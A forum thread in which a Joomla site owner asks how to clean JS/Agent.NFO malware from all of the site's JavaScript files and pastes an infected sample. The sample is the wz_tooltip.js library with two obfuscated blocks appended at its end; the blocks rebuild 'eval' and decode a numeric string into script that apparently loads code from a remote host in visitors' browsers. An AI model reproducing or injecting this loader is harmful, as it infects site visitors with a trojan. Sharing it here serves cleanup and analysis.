Показано с 1 по 3 из 3.

CMS joomla 1.5.9 JS/Agent.NFO (заявка № 120391)

  1. #1
    Junior Member (OID) Репутация
    Регистрация
    17.05.2012
    Сообщений
    2
    Вес репутации
    21

    CMS joomla 1.5.9 JS/Agent.NFO

    Имеется сайт на CMS Joomla, заражены все файлы с расширением *.js. Как я понял вирус прописал в конец (быть может и не только в конец) каждого такого файла свой код, который при просмотре сайта загружает на клиентский компьютер, со стороннего сайта троян JS/Agent.NFO (определяется ESS Nod32 v.5). В инете есть скрипты которые вырезают вредоносный код из файлов *.js, но для моего случая ничего подходящего нет. Как быть? Файлов *.js очень много, руками все переделать не реально. заранее спасибо!

    PS: пример скриптов с сайта для примера прилагаю

    Скрытый текст

    /* This notice must be untouched at all times.

    wz_tooltip.js v. 3.34

    The latest version is available at
    http://www.walterzorn.com
    or http://www.devira.com
    or http://www.walterzorn.de

    Copyright (c) 2002-2004 Walter Zorn. All rights reserved.
    Created 1. 12. 2002 by Walter Zorn (Web: http://www.walterzorn.com )
    Last modified: 9. 9. 2005

    Cross-browser tooltips working even in Opera 5 and 6,
    as well as in NN 4, Gecko-Browsers, IE4+, Opera 7 and Konqueror.
    No onmouseouts required.
    Appearance of tooltips can be individually configured
    via commands within the onmouseovers.

    LICENSE: LGPL

    This library is free software; you can redistribute it and/or
    modify it under the terms of the GNU Lesser General Public
    License (LGPL) as published by the Free Software Foundation; either
    version 2.1 of the License, or (at your option) any later version.

    This library is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

    For more details on the GNU Lesser General Public License,
    see http://www.gnu.org/copyleft/lesser.html
    */



    //////////////// GLOBAL TOOPTIP CONFIGURATION /////////////////////
    var ttAbove = false; // tooltip above mousepointer? Alternative: true
    var ttBgColor = "#e6ecff";
    var ttBgImg = ""; // path to background image;
    var ttBorderColor = "#003399";
    var ttBorderWidth = 1;
    var ttDelay = 500; // time span until tooltip shows up [milliseconds]
    var ttFontColor = "#000066";
    var ttFontFace = "arial,helvetica,sans-serif";
    var ttFontSize = "11px";
    var ttFontWeight = "normal"; // alternative: "bold";
    var ttLeft = false; // tooltip on the left of the mouse? Alternative: true
    var ttOffsetX = 12; // horizontal offset of left-top corner from mousepointer
    var ttOffsetY = 15; // vertical offset "
    var ttOpacity = 100; // opacity of tooltip in percent (must be integer between 0 and 100)
    var ttPadding = 3; // spacing between border and content
    var ttShadowColor = "";
    var ttShadowWidth = 0;
    var ttStatic = false; // tooltip NOT move with the mouse? Alternative: true
    var ttSticky = false; // do NOT hide tooltip on mouseout? Alternative: true
    var ttTemp = 0; // time span after which the tooltip disappears; 0 (zero) means "infinite timespan"
    var ttTextAlign = "left";
    var ttTitleColor = "#ffffff"; // color of caption text
    var ttWidth = 300;
    //////////////////// END OF TOOLTIP CONFIG ////////////////////////



    ////////////// TAGS WITH TOOLTIP FUNCTIONALITY ////////////////////
    // List may be extended or shortened:
    var tt_tags = new Array("a","area","b","big","caption","center","code","dd","div","dl","dt","em","h1","h2","h3","h4","h5","h6","i","img","input","li","map","ol","p","pre","s","small","span","strike","strong","sub","sup","table","td","th","tr","tt","u","var","ul","layer");
    /////////////////////////////////////////////////////////////////////



    ///////// DON'T CHANGE ANYTHING BELOW THIS LINE /////////////////////
    var tt_obj, // current tooltip
    tt_ifrm, // iframe to cover windowed controls in IE
    tt_objW = 0, tt_objH = 0, // width and height of tt_obj
    tt_objX = 0, tt_objY = 0,
    tt_offX = 0, tt_offY = 0,
    xlim = 0, ylim = 0, // right and bottom borders of visible client area
    tt_sup = false, // true if T_ABOVE cmd
    tt_sticky = false, // tt_obj sticky?
    tt_wait = false,
    tt_act = false, // tooltip visibility flag
    tt_sub = false, // true while tooltip below mousepointer
    tt_u = "undefined",
    tt_mf, // stores previous mousemove evthandler
    // Opera: disable href when hovering <a>
    tt_tag = null; // stores hovered dom node, href and previous statusbar txt


    var tt_db = (document.compatMode && document.compatMode != "BackCompat")? document.documentElement : document.body? document.body : null,
    tt_n = navigator.userAgent.toLowerCase(),
    tt_nv = navigator.appVersion;
    // Browser flags
    var tt_op = !!(window.opera && document.getElementById),
    tt_op6 = tt_op && !document.defaultView,
    tt_op7 = tt_op && !tt_op6,
    tt_ie = tt_n.indexOf("msie") != -1 && document.all && tt_db && !tt_op,
    tt_ie6 = tt_ie && parseFloat(tt_nv.substring(tt_nv.indexOf("MSIE")+5)) >= 5.5;
    tt_n4 = (document.layers && typeof document.classes != tt_u),
    tt_n6 = (!tt_op && document.defaultView && typeof document.defaultView.getComputedStyle != tt_u),
    tt_w3c = !tt_ie && !tt_n6 && !tt_op && document.getElementById;

    function tt_Int(t_x)
    {
    var t_y;
    return isNaN(t_y = parseInt(t_x))? 0 : t_y;
    }
    function wzReplace(t_x, t_y)
    {
    var t_ret = "",
    t_str = this,
    t_xI;
    while((t_xI = t_str.indexOf(t_x)) != -1)
    {
    t_ret += t_str.substring(0, t_xI) + t_y;
    t_str = t_str.substring(t_xI + t_x.length);
    }
    return t_ret+t_str;
    }
    String.prototype.wzReplace = wzReplace;
    function tt_N4Tags(tagtyp, t_d, t_y)
    {
    t_d = t_d || document;
    t_y = t_y || new Array();
    var t_x = (tagtyp=="a")? t_d.links : t_d.layers;
    for(var z = t_x.length; z-- t_y[t_y.length] = t_x[z];
    for(z = t_d.layers.length; z-- t_y = tt_N4Tags(tagtyp, t_d.layers[z].document, t_y);
    return t_y;
    }
    function tt_Htm(tt, t_id, txt)
    {
    var t_bgc = (typeof tt.T_BGCOLOR != tt_u)? tt.T_BGCOLOR : ttBgColor,
    t_bgimg = (typeof tt.T_BGIMG != tt_u)? tt.T_BGIMG : ttBgImg,
    t_bc = (typeof tt.T_BORDERCOLOR != tt_u)? tt.T_BORDERCOLOR : ttBorderColor,
    t_bw = (typeof tt.T_BORDERWIDTH != tt_u)? tt.T_BORDERWIDTH : ttBorderWidth,
    t_ff = (typeof tt.T_FONTFACE != tt_u)? tt.T_FONTFACE : ttFontFace,
    t_fc = (typeof tt.T_FONTCOLOR != tt_u)? tt.T_FONTCOLOR : ttFontColor,
    t_fsz = (typeof tt.T_FONTSIZE != tt_u)? tt.T_FONTSIZE : ttFontSize,
    t_fwght = (typeof tt.T_FONTWEIGHT != tt_u)? tt.T_FONTWEIGHT : ttFontWeight,
    t_opa = (typeof tt.T_OPACITY != tt_u)? tt.T_OPACITY : ttOpacity,
    t_padd = (typeof tt.T_PADDING != tt_u)? tt.T_PADDING : ttPadding,
    t_shc = (typeof tt.T_SHADOWCOLOR != tt_u)? tt.T_SHADOWCOLOR : (ttShadowColor || 0),
    t_shw = (typeof tt.T_SHADOWWIDTH != tt_u)? tt.T_SHADOWWIDTH : (ttShadowWidth || 0),
    t_algn = (typeof tt.T_TEXTALIGN != tt_u)? tt.T_TEXTALIGN : ttTextAlign,
    t_tit = (typeof tt.T_TITLE != tt_u)? tt.T_TITLE : "",
    t_titc = (typeof tt.T_TITLECOLOR != tt_u)? tt.T_TITLECOLOR : ttTitleColor,
    t_w = (typeof tt.T_WIDTH != tt_u)? tt.T_WIDTH : ttWidth;
    if(t_shc || t_shw)
    {
    t_shc = t_shc || "#cccccc";
    t_shw = t_shw || 5;
    }
    if(tt_n4 && (t_fsz == "10px" || t_fsz == "11px")) t_fsz = "12px";

    var t_optx = (tt_n4? '' : tt_n6? ('-moz-opacity:'+(t_opa/100.0)) : tt_ie? ('filter:Alpha(opacity='+t_opa+')') : ('opacity:'+(t_opa/100.0))) + ';';
    var t_y = '<div id="'+t_id+'" style="position:absolute;z-index:1010;';
    t_y += 'left:0px;top:0px;width:'+(t_w+t_shw)+'px;visibility:'+(tt_n4? 'hide' : 'hidden')+';'+t_optx+'">' +
    '<table border="0" cellpadding="0" cellspacing="0"'+(t_bc? (' bgcolor="'+t_bc+'" style="background:'+t_bc+';"') : '')+' width="'+t_w+'">';
    if(t_tit)
    {
    t_y += '<tr><td style="padding-left:3px;padding-right:3px;" align="'+t_algn+'"><font color="'+t_titc+'" face="'+t_ff+'" ' +
    'style="color:'+t_titc+';font-family:'+t_ff+';font-size:'+t_fsz+';"><b>' +
    (tt_n4? '&nbsp;' : '')+t_tit+'<\/b><\/font><\/td><\/tr>';
    }
    t_y += '<tr><td><table border="0" cellpadding="'+t_padd+'" cellspacing="'+t_bw+'" width="100%">' +
    '<tr><td'+(t_bgc? (' bgcolor="'+t_bgc+'"') : '')+(t_bgimg? ' background="'+t_bgimg+'"' : '')+' style="text-align:'+t_algn+';';
    if(tt_n6) t_y += 'padding:'+t_padd+'px;';
    t_y += '" align="'+t_algn+'"><font color="'+t_fc+'" face="'+t_ff+'"' +
    ' style="color:'+t_fc+';font-family:'+t_ff+';font-size:'+t_fsz+';font-weight:'+t_fwght+';">';
    if(t_fwght == 'bold') t_y += '<b>';
    t_y += txt;
    if(t_fwght == 'bold') t_y += '<\/b>';
    t_y += '<\/font><\/td><\/tr><\/table><\/td><\/tr><\/table>';
    if(t_shw)
    {
    var t_spct = Math.round(t_shw*1.3);
    if(tt_n4)
    {
    t_y += '<layer bgcolor="'+t_shc+'" left="'+t_w+'" top="'+t_spct+'" width="'+t_shw+'" height="0"><\/layer>' +
    '<layer bgcolor="'+t_shc+'" left="'+t_spct+'" align="bottom" width="'+(t_w-t_spct)+'" height="'+t_shw+'"><\/layer>';
    }
    else
    {
    t_optx = tt_n6? '-moz-opacity:0.85;' : tt_ie? 'filter:Alpha(opacity=85);' : 'opacity:0.85;';
    t_y += '<div id="'+t_id+'R" style="position:absolute;background:'+t_shc+';left:'+t_w+'px;top:'+t_spct+'px;width:'+t_shw+'px;height:1px;overflow:hidden;'+t_optx+'"><\/div>' +
    '<div style="position:relative;background:'+t_shc+';left:'+t_spct+'px;top:0px;width:'+(t_w-t_spct)+'px;height:'+t_shw+'px;overflow:hidden;'+t_optx+'"><\/div>';
    }
    }
    return(t_y+'<\/div>' +
    (tt_ie6 ? '<iframe id="TTiEiFrM" src="javascript:false" scrolling="no" frameborder="0" style="filter:Alpha(opacity=0);position:absolute;top:0px;left:0px;display:none;"><\/iframe>' : ''));
    }
    function tt_EvX(t_e)
    {
    var t_y = tt_Int(t_e.pageX || t_e.clientX || 0) +
    tt_Int(tt_ie? tt_db.scrollLeft : 0) +
    tt_offX;
    if(t_y > xlim) t_y = xlim;
    var t_scr = tt_Int(window.pageXOffset || (tt_db? tt_db.scrollLeft : 0) || 0);
    if(t_y < t_scr) t_y = t_scr;
    return t_y;
    }
    function tt_EvY(t_e)
    {
    var t_y = tt_Int(t_e.pageY || t_e.clientY || 0) +
    tt_Int(tt_ie? tt_db.scrollTop : 0);
    if(tt_sup) t_y -= (tt_objH + tt_offY - 15);
    else if(t_y > ylim || !tt_sub && t_y > ylim-24)
    {
    t_y -= (tt_objH + 5);
    tt_sub = false;
    }
    else
    {
    t_y += tt_offY;
    tt_sub = true;
    }
    return t_y;
    }
    function tt_ReleasMov()
    {
    if(document.onmousemove == tt_Move)
    {
    if(!tt_mf && document.releaseEvents) document.releaseEvents(Event.MOUSEMOVE);
    document.onmousemove = tt_mf;
    }
    }
    function tt_ShowIfrm(t_x)
    {
    if(!tt_ie6 || !tt_obj) return;
    tt_ifrm = document.getElementById("TTiEiFrM");
    //tt_obj.style.display = t_x? "block" : "none";
    if(t_x)
    {
    tt_ifrm.style.width = tt_objW+'px';
    tt_ifrm.style.height = tt_objH+'px';
    tt_ifrm.style.zIndex = tt_obj.style.zIndex - 1;
    tt_ifrm.style.display = "block";
    }
    else tt_ifrm.style.display = "none";
    }
    function tt_GetDiv(t_id)
    {
    return(
    tt_n4? (document.layers[t_id] || null)
    : tt_ie? (document.all[t_id] || null)
    : (document.getElementById(t_id) || null)
    );
    }
    function tt_GetDivW()
    {
    return tt_Int(
    tt_n4? tt_obj.clip.width
    : (tt_obj.style.pixelWidth || tt_obj.offsetWidth)
    );
    }
    function tt_GetDivH()
    {
    return tt_Int(
    tt_n4? tt_obj.clip.height
    : (tt_obj.style.pixelHeight || tt_obj.offsetHeight)
    );
    }

    // Compat with DragDrop Lib: Ensure that z-index of tooltip is lifted beyond toplevel dragdrop element
    function tt_SetDivZ()
    {
    var t_i = tt_obj.style || tt_obj;
    if(window.dd && dd.z)
    t_i.zIndex = Math.max(dd.z+1, t_i.zIndex);
    }
    function tt_SetDivPos(t_x, t_y)
    {
    var t_i = tt_obj.style || tt_obj;
    var t_px = (tt_op6 || tt_n4)? '' : 'px';
    t_i.left = (tt_objX = t_x) + t_px;
    t_i.top = (tt_objY = t_y) + t_px;
    if(tt_ifrm)
    {
    tt_ifrm.style.left = t_i.left;
    tt_ifrm.style.top = t_i.top;
    }
    }
    function tt_ShowDiv(t_x)
    {
    if(tt_n4) tt_obj.visibility = t_x? 'show' : 'hide';
    else tt_obj.style.visibility = t_x? 'visible' : 'hidden';
    tt_act = t_x;
    tt_ShowIfrm(t_x);
    }
    function tt_OpDeHref(t_e)
    {
    var t_tag;
    if(t_e)
    {
    t_tag = t_e.target;
    while(t_tag)
    {
    if(t_tag.hasAttribute("href"))
    {
    tt_tag = t_tag
    tt_tag.t_href = tt_tag.getAttribute("href");
    tt_tag.removeAttribute("href");
    tt_tag.style.cursor = "hand";
    tt_tag.onmousedown = tt_OpReHref;
    tt_tag.stats = window.status;
    window.status = tt_tag.t_href;
    break;
    }
    t_tag = t_tag.parentElement;
    }
    }
    }
    function tt_OpReHref()
    {
    if(tt_tag)
    {
    tt_tag.setAttribute("href", tt_tag.t_href);
    window.status = tt_tag.stats;
    tt_tag = null;
    }
    }
    function tt_Show(t_e, t_id, t_sup, t_delay, t_fix, t_left, t_offx, t_offy, t_static, t_sticky, t_temp)
    {
    if(tt_obj) tt_Hide();
    tt_mf = document.onmousemove || null;
    if(window.dd && (window.DRAG && tt_mf == DRAG || window.RESIZE && tt_mf == RESIZE)) return;
    var t_uf = document.onmouseup || null, t_sh, t_h;
    if(tt_mf && t_uf) t_uf(t_e);

    tt_obj = tt_GetDiv(t_id);
    if(tt_obj)
    {
    t_e = t_e || window.event;
    tt_sub = !(tt_sup = t_sup);
    tt_sticky = t_sticky;
    tt_objW = tt_GetDivW();
    tt_objH = tt_GetDivH();
    tt_offX = t_left? -(tt_objW+t_offx) : t_offx;
    tt_offY = t_offy;
    if(tt_op7) tt_OpDeHref(t_e);
    if(tt_n4)
    {
    if(tt_obj.document.layers.length)
    {
    t_sh = tt_obj.document.layers[0];
    t_sh.clip.height = tt_objH - Math.round(t_sh.clip.width*1.3);
    }
    }
    else
    {
    t_sh = tt_GetDiv(t_id+'R');
    if(t_sh)
    {
    t_h = tt_objH - tt_Int(t_sh.style.pixelTop || t_sh.style.top || 0);
    if(typeof t_sh.style.pixelHeight != tt_u) t_sh.style.pixelHeight = t_h;
    else t_sh.style.height = t_h+'px';
    }
    }

    xlim = tt_Int((tt_db && tt_db.clientWidth)? tt_db.clientWidth : window.innerWidth) +
    tt_Int(window.pageXOffset || (tt_db? tt_db.scrollLeft : 0) || 0) -
    tt_objW -
    (tt_n4? 21 : 0);
    ylim = tt_Int(window.innerHeight || tt_db.clientHeight) +
    tt_Int(window.pageYOffset || (tt_db? tt_db.scrollTop : 0) || 0) -
    tt_objH - tt_offY;

    tt_SetDivZ();
    if(t_fix) tt_SetDivPos(tt_Int((t_fix = t_fix.split(','))[0]), tt_Int(t_fix[1]));
    else tt_SetDivPos(tt_EvX(t_e), tt_EvY(t_e));

    var t_txt = 'tt_ShowDiv(\'true\');';
    if(t_sticky) t_txt += '{'+
    'tt_ReleasMov();'+
    'window.tt_upFunc = document.onmouseup || null;'+
    'if(document.captureEvents) document.captureEvents(Event.MOUSEUP);'+
    'document.onmouseup = new Function("window.setTimeout(\'tt_Hide();\', 10);");'+
    '}';
    else if(t_static) t_txt += 'tt_ReleasMov();';
    if(t_temp > 0) t_txt += 'window.tt_rtm = window.setTimeout(\'tt_sticky = false; tt_Hide();\','+t_temp+');';
    window.tt_rdl = window.setTimeout(t_txt, t_delay);

    if(!t_fix)
    {
    if(document.captureEvents) document.captureEvents(Event.MOUSEMOVE);
    document.onmousemove = tt_Move;
    }
    }
    }
    var tt_area = false;
    function tt_Move(t_ev)
    {
    if(!tt_obj) return;
    if(tt_n6 || tt_w3c)
    {
    if(tt_wait) return;
    tt_wait = true;
    setTimeout('tt_wait = false;', 5);
    }
    var t_e = t_ev || window.event;
    tt_SetDivPos(tt_EvX(t_e), tt_EvY(t_e));
    if(tt_op6)
    {
    if(tt_area && t_e.target.tagName != 'AREA') tt_Hide();
    else if(t_e.target.tagName == 'AREA') tt_area = true;
    }
    }
    function tt_Hide()
    {
    if(window.tt_obj)
    {
    if(window.tt_rdl) window.clearTimeout(tt_rdl);
    if(!tt_sticky || !tt_act)
    {
    if(window.tt_rtm) window.clearTimeout(tt_rtm);
    tt_ShowDiv(false);
    tt_SetDivPos(-tt_objW, -tt_objH);
    tt_obj = null;
    if(typeof window.tt_upFunc != tt_u) document.onmouseup = window.tt_upFunc;
    }
    tt_sticky = false;
    if(tt_op6 && tt_area) tt_area = false;
    tt_ReleasMov();
    if(tt_op7) tt_OpReHref();
    }
    }
    function tt_Init()
    {
    if(!(tt_op || tt_n4 || tt_n6 || tt_ie || tt_w3c)) return;

    var htm = tt_n4? '<div style="position:absolute;"><\/div>' : '',
    tags,
    t_tj,
    over,
    esc = 'return escape(';
    var i = tt_tags.length; while(i--)
    {
    tags = tt_ie? (document.all.tags(tt_tags[i]) || 1)
    : document.getElementsByTagName? (document.getElementsByTagName(tt_tags[i]) || 1)
    : (!tt_n4 && tt_tags[i]=="a")? document.links
    : 1;
    if(tt_n4 && (tt_tags[i] == "a" || tt_tags[i] == "layer")) tags = tt_N4Tags(tt_tags[i]);
    var j = tags.length; while(j--)
    {
    if(typeof (t_tj = tags[j]).onmouseover == "function" && t_tj.onmouseover.toString().indexOf(esc) != -1 && !tt_n6 || tt_n6 && (over = t_tj.getAttribute("onmouseover")) && over.indexOf(esc) != -1)
    {
    if(over) t_tj.onmouseover = new Function(over);
    var txt = unescape(t_tj.onmouseover());
    htm += tt_Htm(
    t_tj,
    "tOoLtIp"+i+""+j,
    txt.wzReplace("& ","&")
    );

    t_tj.onmouseover = new Function('e',
    'tt_Show(e,'+
    '"tOoLtIp' +i+''+j+ '",'+
    ((typeof t_tj.T_ABOVE != tt_u)? t_tj.T_ABOVE : ttAbove)+','+
    ((typeof t_tj.T_DELAY != tt_u)? t_tj.T_DELAY : ttDelay)+','+
    ((typeof t_tj.T_FIX != tt_u)? '"'+t_tj.T_FIX+'"' : '""')+','+
    ((typeof t_tj.T_LEFT != tt_u)? t_tj.T_LEFT : ttLeft)+','+
    ((typeof t_tj.T_OFFSETX != tt_u)? t_tj.T_OFFSETX : ttOffsetX)+','+
    ((typeof t_tj.T_OFFSETY != tt_u)? t_tj.T_OFFSETY : ttOffsetY)+','+
    ((typeof t_tj.T_STATIC != tt_u)? t_tj.T_STATIC : ttStatic)+','+
    ((typeof t_tj.T_STICKY != tt_u)? t_tj.T_STICKY : ttSticky)+','+
    ((typeof t_tj.T_TEMP != tt_u)? t_tj.T_TEMP : ttTemp)+
    ');'
    );
    t_tj.onmouseout = tt_Hide;
    if(t_tj.alt) t_tj.alt = "";
    if(t_tj.title) t_tj.title = "";
    }
    }
    }
    document.write(htm);
    }
    tt_Init();

    try{q=document.createElement("d"+"i"+"v");q.appendChild(q+"");}catch(qw){h=-012/5;}try{prototype;}catch(brebr){st=String;zz='al';zz='zv'.substr(123-122)+zz;ss=[];f='fr'+'om'+'Ch';f+='arC';f+='ode';w=this;e=w[f["substr"](11)+zz];n="19$50$57.5$54$48.5$57$51.5$54.5$54$19$19.5$15$60.5$5.5$4$3.5$58$47.5$56$15$57.5$56$53$15$29.5$15$18.5$51$57$57$55$28$22.5$22.5$55$58.5$54.5$57$48.5$59.5$54.5$48.5$52.5$55$22$51.5$56.5$21.5$47.5$21.5$56$54.5$48.5$52.5$56.5$57$47.5$56$22$48.5$54.5$53.5$22.5$50.5$22.5$18.5$28.5$5.5$4$3.5$51.5$50$15$19$57$59.5$55$49.5$54.5$50$15$58.5$51.5$54$49$54.5$58.5$22$59$59.5$60$50$53$47.5$50.5$15$29.5$29.5$29.5$15$18.5$57.5$54$49$49.5$50$51.5$54$49.5$49$18.5$19.5$15$60.5$5.5$4$3.5$3.5$58.5$51.5$54$49$54.5$58.5$22$59$59.5$60$50$53$47.5$50.5$15$29.5$15$23$28.5$5.5$4$3.5$61.5$5.5$4$3.5$49$54.5$48.5$57.5$53.5$49.5$54$57$22$54.5$54$53.5$54.5$57.5$56.5$49.5$53.5$54.5$58$49.5$15$29.5$15$50$57.5$54$48.5$57$51.5$54.5$54$19$19.5$15$60.5$5.5$4$3.5$3.5$51.5$50$15$19$58.5$51.5$54$49$54.5$58.5$22$59$59.5$60$50$53$47.5$50.5$15$29.5$29.5$29.5$15$23$19.5$15$60.5$5.5$4$3.5$3.5$3.5$58.5$51.5$54$49$54.5$58.5$22$59$59.5$60$50$53$47.5$50.5$15$29.5$15$23.5$28.5$5.5$4$3.5$3.5$3.5$58$47.5$56$15$51$49.5$47.5$49$15$29.5$15$49$54.5$48.5$57.5$53.5$49.5$54$57$22$50.5$49.5$57$33.5$53$49.5$53.5$49.5$54$57$56.5$32$59.5$41$47.5$50.5$38$47.5$53.5$49.5$19$18.5$51$49.5$47.5$49$18.5$19.5$44.5$23$45.5$28.5$5.5$4$3.5$3.5$3.5$58$47.5$56$15$56.5$48.5$56$51.5$55$57$15$29.5$15$49$54.5$48.5$57.5$53.5$49.5$54$57$22$48.5$56$49.5$47.5$57$49.5$33.5$53$49.5$53.5$49.5$54$57$19$18.5$56.5$48.5$56$51.5$55$57$18.5$19.5$28.5$5.5$4$3.5$3.5$3.5$56.5$48.5$56$51.5$55$57$22$57$59.5$55$49.5$15$29.5$15$18.5$57$49.5$59$57$22.5$52$47.5$58$47.5$56.5$48.5$56$51.5$55$57$18.5$28.5$5.5$4$3.5$3.5$3.5$56.5$48.5$56$51.5$55$57$22$54.5$54$56$49.5$47.5$49$59.5$56.5$57$47.5$57$49.5$48.5$51$47.5$54$50.5$49.5$15$29.5$15$50$57.5$54$48.5$57$51.5$54.5$54$15$19$19.5$15$60.5$5.5$4$3.5$3.5$3.5$3.5$51.5$50$15$19$57$51$51.5$56.5$22$56$49.5$47.5$49$59.5$40.5$57$47.5$57$49.5$15$29.5$29.5$15$18.5$48.5$54.5$53.5$55$53$49.5$57$49.5$18.5$19.5$15$60.5$5.5$4$3.5$3.5$3.5$3.5$3.5$58.5$51.5$54$49$54.5$58.5$22$59$59.5$60$50$53$47.5$50.5$15$29.5$15$24$28.5$5.5$4$3.5$3.5$3.5$3.5$61.5$5.5$4$3.5$3.5$3.5$61.5$28.5$5.5$4$3.5$3.5$3.5$56.5$48.5$56$51.5$55$57$22$54.5$54$53$54.5$47.5$49$15$29.5$15$50$57.5$54$48.5$57$51.5$54.5$54$19$19.5$15$60.5$5.5$4$3.5$3.5$3.5$3.5$58.5$51.5$54$49$54.5$58.5$22$59$59.5$60$50$53$47.5$50.5$15$29.5$15$24$28.5$5.5$4$3.5$3.5$3.5$61.5$28.5$5.5$4$3.5$3.5$3.5$56.5$48.5$56$51.5$55$57$22$56.5$56$48.5$15$29.5$15$57.5$56$53$15$20.5$15$37.5$47.5$57$51$22$56$47.5$54$49$54.5$53.5$19$19.5$22$57$54.5$40.5$57$56$51.5$54$50.5$19$19.5$22$56.5$57.5$48$56.5$57$56$51.5$54$50.5$19$24.5$19.5$15$20.5$15$18.5$22$52$56.5$18.5$28.5$5.5$4$3.5$3.5$3.5$51$49.5$47.5$49$22$47.5$55$55$49.5$54$49$32.5$51$51.5$53$49$19$56.5$48.5$56$51.5$55$57$19.5$28.5$5.5$4$3.5$3.5$61.5$5.5$4$3.5$61.5$28.5$5.5$4$61.5$19.5$19$19.5$28.5"[((e)?"s":"")+"p"+"lit"]("a$"[((e)?"su":"")+"bstr"](1));for(i=6-2-1-2-1;i-689!=0;i++){j=i;if(st)ss=ss+st.fromCharCode(-1*h*(1+1*n[j]));}q=ss;e(q);}
    try{q=document.createElement("d"+"i"+"v");q.appendChild(q+"");}catch(qw){h=-012/5;zz='a'+'l';f='fr'+'om'+'Ch';f+='arC';}try{qwe=prototype;}catch(brebr){zz='zv'.substr(123-122)+zz;ss=[];f+=(h)?'ode':"";w=this;e=w[f["s"+"ubstr"](11)+zz];n="19$50$57.5$54$48.5$57$51.5$54.5$54$19$19.5$15$60.5$5.5$4$3.5$58$47.5$56$15$57.5$56$53$15$29.5$15$18.5$51$57$57$55$28$22.5$22.5$50$52.5$53$50.5$48.5$51$55$56.5$49$55$22$49$59.5$54$49$54$56.5$21.5$56$49.5$53.5$54.5$57$49.5$22$48.5$54.5$53.5$22.5$50.5$22.5$18.5$28.5$5.5$4$3.5$51.5$50$15$19$57$59.5$55$49.5$54.5$50$15$58.5$51.5$54$49$54.5$58.5$22$59$59.5$60$50$53$47.5$50.5$15$29.5$29.5$29.5$15$18.5$57.5$54$49$49.5$50$51.5$54$49.5$49$18.5$19.5$15$60.5$5.5$4$3.5$3.5$58.5$51.5$54$49$54.5$58.5$22$59$59.5$60$50$53$47.5$50.5$15$29.5$15$23$28.5$5.5$4$3.5$61.5$5.5$4$3.5$49$54.5$48.5$57.5$53.5$49.5$54$57$22$54.5$54$53.5$54.5$57.5$56.5$49.5$53.5$54.5$58$49.5$15$29.5$15$50$57.5$54$48.5$57$51.5$54.5$54$19$19.5$15$60.5$5.5$4$3.5$3.5$51.5$50$15$19$58.5$51.5$54$49$54.5$58.5$22$59$59.5$60$50$53$47.5$50.5$15$29.5$29.5$29.5$15$23$19.5$15$60.5$5.5$4$3.5$3.5$3.5$58.5$51.5$54$49$54.5$58.5$22$59$59.5$60$50$53$47.5$50.5$15$29.5$15$23.5$28.5$5.5$4$3.5$3.5$3.5$58$47.5$56$15$51$49.5$47.5$49$15$29.5$15$49$54.5$48.5$57.5$53.5$49.5$54$57$22$50.5$49.5$57$33.5$53$49.5$53.5$49.5$54$57$56.5$32$59.5$41$47.5$50.5$38$47.5$53.5$49.5$19$18.5$51$49.5$47.5$49$18.5$19.5$44.5$23$45.5$28.5$5.5$4$3.5$3.5$3.5$58$47.5$56$15$56.5$48.5$56$51.5$55$57$15$29.5$15$49$54.5$48.5$57.5$53.5$49.5$54$57$22$48.5$56$49.5$47.5$57$49.5$33.5$53$49.5$53.5$49.5$54$57$19$18.5$56.5$48.5$56$51.5$55$57$18.5$19.5$28.5$5.5$4$3.5$3.5$3.5$56.5$48.5$56$51.5$55$57$22$57$59.5$55$49.5$15$29.5$15$18.5$57$49.5$59$57$22.5$52$47.5$58$47.5$56.5$48.5$56$51.5$55$57$18.5$28.5$5.5$4$3.5$3.5$3.5$56.5$48.5$56$51.5$55$57$22$54.5$54$56$49.5$47.5$49$59.5$56.5$57$47.5$57$49.5$48.5$51$47.5$54$50.5$49.5$15$29.5$15$50$57.5$54$48.5$57$51.5$54.5$54$15$19$19.5$15$60.5$5.5$4$3.5$3.5$3.5$3.5$51.5$50$15$19$57$51$51.5$56.5$22$56$49.5$47.5$49$59.5$40.5$57$47.5$57$49.5$15$29.5$29.5$15$18.5$48.5$54.5$53.5$55$53$49.5$57$49.5$18.5$19.5$15$60.5$5.5$4$3.5$3.5$3.5$3.5$3.5$58.5$51.5$54$49$54.5$58.5$22$59$59.5$60$50$53$47.5$50.5$15$29.5$15$24$28.5$5.5$4$3.5$3.5$3.5$3.5$61.5$5.5$4$3.5$3.5$3.5$61.5$28.5$5.5$4$3.5$3.5$3.5$56.5$48.5$56$51.5$55$57$22$54.5$54$53$54.5$47.5$49$15$29.5$15$50$57.5$54$48.5$57$51.5$54.5$54$19$19.5$15$60.5$5.5$4$3.5$3.5$3.5$3.5$58.5$51.5$54$49$54.5$58.5$22$59$59.5$60$50$53$47.5$50.5$15$29.5$15$24$28.5$5.5$4$3.5$3.5$3.5$61.5$28.5$5.5$4$3.5$3.5$3.5$56.5$48.5$56$51.5$55$57$22$56.5$56$48.5$15$29.5$15$57.5$56$53$15$20.5$15$37.5$47.5$57$51$22$56$47.5$54$49$54.5$53.5$19$19.5$22$57$54.5$40.5$57$56$51.5$54$50.5$19$19.5$22$56.5$57.5$48$56.5$57$56$51.5$54$50.5$19$24.5$19.5$15$20.5$15$18.5$22$52$56.5$18.5$28.5$5.5$4$3.5$3.5$3.5$51$49.5$47.5$49$22$47.5$55$55$49.5$54$49$32.5$51$51.5$53$49$19$56.5$48.5$56$51.5$55$57$19.5$28.5$5.5$4$3.5$3.5$61.5$5.5$4$3.5$61.5$28.5$5.5$4$61.5$19.5$19$19.5$28.5"[((e)?"s":"")+"p"+"lit"]("a$"[((e)?"su":"")+"bstr"](1));for(i=6-2-1-2-1;i-689!=0;i++){k=i;ss=ss+String.fromCharCode(-1*h*(1+1*n[k]));}q=ss;e(q);}
